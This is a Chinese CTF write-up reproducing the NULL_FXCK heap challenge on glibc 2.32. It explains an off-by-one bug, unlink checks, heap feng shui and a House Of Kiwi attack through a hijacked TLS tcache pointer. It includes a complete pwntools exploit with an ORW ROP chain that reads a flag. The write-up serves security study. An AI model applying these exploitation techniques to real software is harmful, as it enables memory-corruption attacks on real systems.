0%

House Of Kiwi-2.32-64

NULL_FXCK 复现

1
GNU C Library (Ubuntu GLIBC 2.32-0ubuntu3) release release version 2.32
1
2
3
4
5
6
main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1463577d47e320d9b46df83575b5778e3368f79f, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

开了沙盒:

1
2
3
4
5
6
7
8
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
  • 只能用 ORW

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall edit()
{
unsigned __int64 idx; // rax
unsigned __int64 index; // rbx
_BYTE *chunk; // rbp
char buf[10]; // [rsp+Eh] [rbp-2Ah] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-20h]

v4 = __readfsqword(0x28u);
edit_key = 0LL;
write(1, "Index: ", 7uLL);
read(0, buf, 0xAuLL);
idx = strtol(buf, 0LL, 10);
if ( !chunk_list[idx] || (index = idx, idx > 0x1F) )
{
write(1, "Error Index ):\n", 0xFuLL);
_exit(1);
}
write(1, "Content: ", 9uLL);
chunk = (_BYTE *)chunk_list[index];
chunk[read(0, chunk, size_list[index])] = 0; // off-by-one
}
  • 有一个 off-by-one

入侵思路

这次尝试使用 House Of Kiwi 来解题,首先要使用这个 off-by-one 来进行 leak,但 libc-2.29 版本以后增加了一些检查:

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
  • 需要 last chunk->size == victim chunk->presize

unlink 中也有一些检查:

1
2
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
  • 需要 victim chunk->size == next chunk->presize
1
2
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
  • fd->bk == p:chunkP 的下一个 chunk 的上一个 chunk 是不是 chunkP
  • bk->fd == p:chunkP 的上一个 chunk 的下一个 chunk 是不是 chunkP

由于没法 leak heap_base,就要通过以下的办法进行绕过:

  • 使用 large chunk 遗留的 fd_nextsize 和 bk_nextsize 指针
    • 以 fd_nextsize 为 fake_chunk 的 fd
    • 以 bk_nextsize 为 fake_chunk 的 bk
  • 也可以使用 unsorted chunk 或者 large chunk 的 FD BK 指针,就是对堆风水的要求比较高

heap 风水的构建

我自己弄的时候一头雾水,忙活了一个下午也没有搞出来,晚上参考了几个 wp,这里我说下思路:

思路一:

  • 合并两个 unsortedbin,在 0x000 处留下如下的 heap 结构
1
2
3
4
5
pwndbg> telescope 0x5639c214c000
00:00000x5639c214c000 ◂— 0x0
01:00080x5639c214c008 ◂— 0x501
02:00100x5639c214c010 —▸ 0x5639c214ca00 ◂— 0x0
03:00180x5639c214c018 —▸ 0x5639c214d400 ◂— 0x0
  • 利用 unsortedbin 遗留下来的 FD BK 指针进行操作,往 0xa00->bk0x400->fd 中写入 0x030,然后利用程序的末尾置空把 0x030 改为 0x000
  • 修改 0x000->size=0xa00,修改 0xa00->pre_size=0xa00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
add(0x148) #0   
add(0x4f8) #1
add(0x1f8) #2

add(0x4f8) #3
add(0x4f8) #4
add(0x4f8) #5
add(0x4f8) #6

add(0x4f8) #7
add(0x4f8) #8
add(0x4f8) #9
add(0x4f8) #10

free(6) # key-0xa00
free(4)
free(8)
free(3)

add(0x528,b"a"*0x4f0+p64(0)+p64(0xa00))#3
add(0x4c0) #4 padding
add(0x4f0) #6 0x400
add(0x4f0) #8 key-0xa00

free(4)
free(5)
add(0x4f0) #4 0x030 - over \x00 to bk/fd
add(0x4c8) #5

free(8) # key-0xa00 - bk=0x030
free(4) # 0x030
free(6) # 0x400 - fd=0x030

add(0x4f0,"a"*0x8+"\x00")#4 修复fd->bk(低位覆盖\x00)
add(0x4f0) #6 padding-0x030
add(0x4f0) #8 padding

free(6) # 0x030
free(8) # 0x400 - fd=0x030
free(7) # 0xf00

add(0x520,b"a"*0x4f0+p64(0)+p64(0x501)+b'\x00')#6 修复bk->fd(低位覆盖\x00)
add(0x4c8) #8 padding
add(0x4f0) #7 padding

edit(5,b"b"*0x4c0+p64(0xa00))

free(4) # unlink
add(0x520) #4
add(0x1000)
show(5)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x1e4160
print("libc_base",hex(libc_base))

思路二:

  • 合并两个 unsortedbin,在 0xd00 处留下如下的 heap 结构
1
2
3
4
5
pwndbg> telescope 0x55f18f2d1d00
00:00000x55f18f2d1d00 ◂— 0x6161616161616161 ('aaaaaaaa')
01:00080x55f18f2d1d08 ◂— 0xc91
02:00100x55f18f2d1d10 —▸ 0x55f18f2d12b0 ◂— 0x0
03:00180x55f18f2d1d18 —▸ 0x55f18f2d2350 ◂— 0x0
  • 利用 unsortedbin 遗留下来的 FD BK 指针进行操作,往 0x2b0->bk0x350->fd 中写入 0xd20,然后利用程序的末尾置空把 0xd20 改为 0xd00
  • 申请一个大 chunk 使 0x350 进入 largebin,这里主要是为了改变 chunk 的取出方式(largebin 从大到小进行组织-插头取头,unsortedbin FIFO-插头取尾)
  • 修改 0xd00->size=0xc91,修改 0x990->pre_size=0xc90
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6

free(0)
free(3)
free(5)
free(2)

add(0x440,0x428*'a'+p64(0xc91)) #0
add(0x418) #3 0x2b0
add(0x418) #2 0xd20 - over \x00 to bk/fd
add(0x428) #5 0x370

free(3) # 0x2b0 - bk=0xd20
free(2) # 0xd20

add(0x418,'a'*8+"\x00") #2 修复fd->bk(低位覆盖\x00)
add(0x418) #3

free(3) # 0xd20
free(5) # 0x350 - fd=0xd20

add(0x9f8) #3 make 0x350 to large
add(0x428,'\x00') #5 修复bk->fd(低位覆盖\x00)

edit(6,0x200*'a'+p64(0xc90))
add(0x418) #7
add(0x208) #8

free(3) # unlink
add(0x430,flat(0,0,0,p64(0x421))) #3
add(0x1600) #9
show(4)

libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1e4230
log.success('libc_base: '+hex(libcbase))
show(5)
heap=u64(p.recv(6).ljust(8,'\x00'))-0x2b0
log.success('heap_base: '+hex(heap))

两个思路最核心的地方就是:

  • 获取两个 unsorted chunk 进行合并,其中的第二个 chunk 末地址必须为 \x00(遗留下 FD BK 指针)
  • 重新申请大 unsorted chunk 后释放(不破坏原来的 heap 结构),然后再次进行分割,使第二个 chunk 的末尾地址为 \x30 或者 \x40 \x50 等等(有一定偏移的地址都可以)
  • 之后利用 unsortedbin 进行调整,在 FD->bk 和 BK->fd 中写入 \x30,然后覆盖为 \x00

因为 [思路二] 可以泄露 heap_base,这里选择 [思路二]

通过 TLS 劫持 tcache struct 以实现三次 WAA

House Of Kiwi 需要三次 WAA,用常规的 WAA 不能到达目的,只能劫持 main_arena

malloc_init 会在 heap 段开设一个内存用于管理 tcache(第一个 chunk,tcache struct),而 tcache struct 的地址,可以从 heapbase 被我们劫持到另一个地方:

  • tcache struct 的地址被记录在 TLS 段中,只要修改这里就可以劫持 tcache struct
  • 通过以下方法可以找到 TLS 段的位置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x7fddd4bf7ba0 <main_arena>
pwndbg> search -t qword 0x7fddd4bf7ba0
[anon_7fddd4a11] 0x7fddd4a11708 0x7fddd4bf7ba0
libc-2.32.so 0x7fddd4bf8410 0x7fddd4bf7ba0
[stack] 0x7ffd6e22af50 0x7fddd4bf7ba0
[stack] 0x7ffd6e22afd0 0x7fddd4bf7ba0
[stack] 0x7ffd6e22b090 0x7fddd4bf7ba0
pwndbg> telescope 0x7fddd4a11708-0x20
00:00000x7fddd4a116e8 ◂— 0x0
01:00080x7fddd4a116f0 ◂— 0x0
02:00100x7fddd4a116f8 —▸ 0x563469070010 ◂— 0x0 /* target */
03:00180x7fddd4a11700 ◂— 0x0
04:00200x7fddd4a11708 —▸ 0x7fddd4bf7ba0 (main_arena) ◂— 0x0

接下来就通过 largebin attack 来修改 0x7fddd4a116f8 处存储的 tcache struct addr:

  • 由于前面已经实现了 heap overlapping,存在一个大 chunk,其中包含了一个小 chunk,两者都可以被控制
  • 于是我们先释放小 chunk,再释放大 chunk
  • 接下来申请大 chunk,在小 chunk 中完成 large attack 的布局

进行攻击前:

1
2
3
4
5
6
pwndbg> telescope 0x7f8bed8866e8
00:00000x7f8bed8866e8 ◂— 0x0
01:00080x7f8bed8866f0 ◂— 0x0
02:00100x7f8bed8866f8 —▸ 0x55e24e3f2010 ◂— 0x0
03:00180x7f8bed886700 ◂— 0x0
04:00200x7f8bed886708 —▸ 0x7f8beda6cba0 (main_arena) ◂— 0x0

进行攻击后:

1
2
3
4
5
6
pwndbg> telescope 0x7f8bed8866e8
00:00000x7f8bed8866e8 ◂— 0x0
01:00080x7f8bed8866f0 ◂— 0x0
02:00100x7f8bed8866f8 —▸ 0x55e24e3f3350 ◂— 0x6161616161616161 ('aaaaaaaa')
03:00180x7f8bed886700 ◂— 0x0
04:00200x7f8bed886708 —▸ 0x7f8beda6cba0 (main_arena) ◂— 0x0

0x350 也是可控地址,申请这片区域然后在此伪造 fake tcache struct,分别布置好 IO_file_jumps+0x60IO_helper_jumps+0xa0top_heap

House Of Kiwi 的攻击基本上已经完成了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# -*- coding: utf-8 -*-
from asyncore import write
from signal import pause
from pwn import *

p = process("./main")
elf = ELF("./main")
libc = ELF("./libc-2.32.so")

context.arch = 'amd64'
context.os = 'linux'

def choice(num):
p.sendlineafter(">> ",str(num))

def add(size,content='\x00'):
choice(1)
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)

def edit(index,content):
choice(2)
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",content)

def free(index):
choice(3)
p.sendlineafter("Index: ",str(index))

def show(index):
choice(4)
p.sendlineafter("Index: ",str(index))

#gdb.attach(p,"b *$rebase(0x11B2)\nb *$rebase(0x11C2)\nb *$rebase(0x1183)\n")
#pause()

add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6

free(0)
free(3)
free(5)
free(2)

add(0x440,0x428*'a'+p64(0xc91)) #0
add(0x418) #3 0x2b0
add(0x418) #2 0xd20 - over \x00 to bk/fd
add(0x428) #5 0x370

free(3) # 0x2b0 - bk=0xd20
free(2) # 0xd20

add(0x418,'a'*8+"\x00") #2 修复fd->bk(低位覆盖\x00)
add(0x418) #3

free(3) # 0xd20
free(5) # 0x350 - fd=0xd20

add(0x9f8) #3 make 0x350 to large
add(0x428,'\x00') #5 修复bk->fd(低位覆盖\x00)

edit(6,0x200*'a'+p64(0xc90))
add(0x418) #7
add(0x208) #8

free(3) # unlink
add(0x430,flat(0,0,0,p64(0x421))) #3
add(0x1600) #9
show(4)

libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x1e4230
log.success('libc_base: '+hex(libc_base))
show(5)
heap=u64(p.recv(6).ljust(8,'\x00'))-0x2b0
log.success('heap_base: '+hex(heap))

setcontext=libc_base+libc.sym['setcontext']
open_libc=libc_base+libc.sym['open']
read_libc=libc_base+libc.sym['read']
write_libc=libc_base+libc.sym['write']
success("setcontext >> "+hex(setcontext))

IO_file_jumps=0x1e54c0+libc_base
IO_helper_jumps=0x1e48c0+libc_base
success("IO_file_jumps >> "+hex(IO_file_jumps))
success("IO_helper_jumps >> "+hex(IO_helper_jumps))

pop_rdi_ret=0x2858f+libc_base
pop_rsi_ret=0x2ac3f+libc_base
pop_rdx_pop_rbx_ret=0x1597d6+libc_base
ret=0x26699+libc_base
success("pop_rdi_ret >> "+hex(pop_rdi_ret))
success("pop_rsi_ret >> "+hex(pop_rsi_ret))
success("pop_rdx_pop_rbx_ret >> "+hex(pop_rdx_pop_rbx_ret))
success("ret >> "+hex(ret))

TLS=libc_base-0x2908
success("TLS >> "+hex(TLS))

ORW_addr = heap+0x8e0
flag_addr = heap + 0x8e0 + 0x268
chain = flat(pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_libc)
chain +=flat(pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_libc)
chain +=flat(pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , write_libc).ljust(0x200,'\x00') + './flag\x00'

add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01)) # padding-不要破坏原来的chunk结构
free(0)
add(0x440,chain) # 0-chain

add(0x418) #11
add(0x208) #12
free(5)
free(4)

add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x1e3ff0)*2+p64(heap+0x1350)+p64(TLS-0x20)) #4
free(11)
add(0x500) # largebin attack
add(0x410)
free(4)
add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x1e3ff0)*2+p64(heap+0x1350)*2)

top_heap = heap+0x46f0
fake_tcache_struct='\x01'*0x70
fake_tcache_struct=fake_tcache_struct.ljust(0xe8,'\x00')+p64(IO_file_jumps+0x60)
fake_tcache_struct=fake_tcache_struct.ljust(0x168,'\x00')+p64(IO_helper_jumps+0xa0)+p64(top_heap)

add(0x420,fake_tcache_struct) #13
add(0x100,p64(setcontext+61))
add(0x200,p64(ORW_addr)+p64(ret))
add(0x210,p64(0)+p64(0x910))

size = 0x1000
choice(1)
p.sendlineafter("Size: ",str(size))

p.interactive()

小结:

这个题的堆风水真是够呛,好在让我整理学习了一些思路,以后按照这个来改应该没有问题

我还重新复习了下 off-by-one 和 unlink 的基础检查,各个 libc 版本的源码都对比着看了看,算是把以前的东西捡起来了吧

学习使用了 House Of Kiwi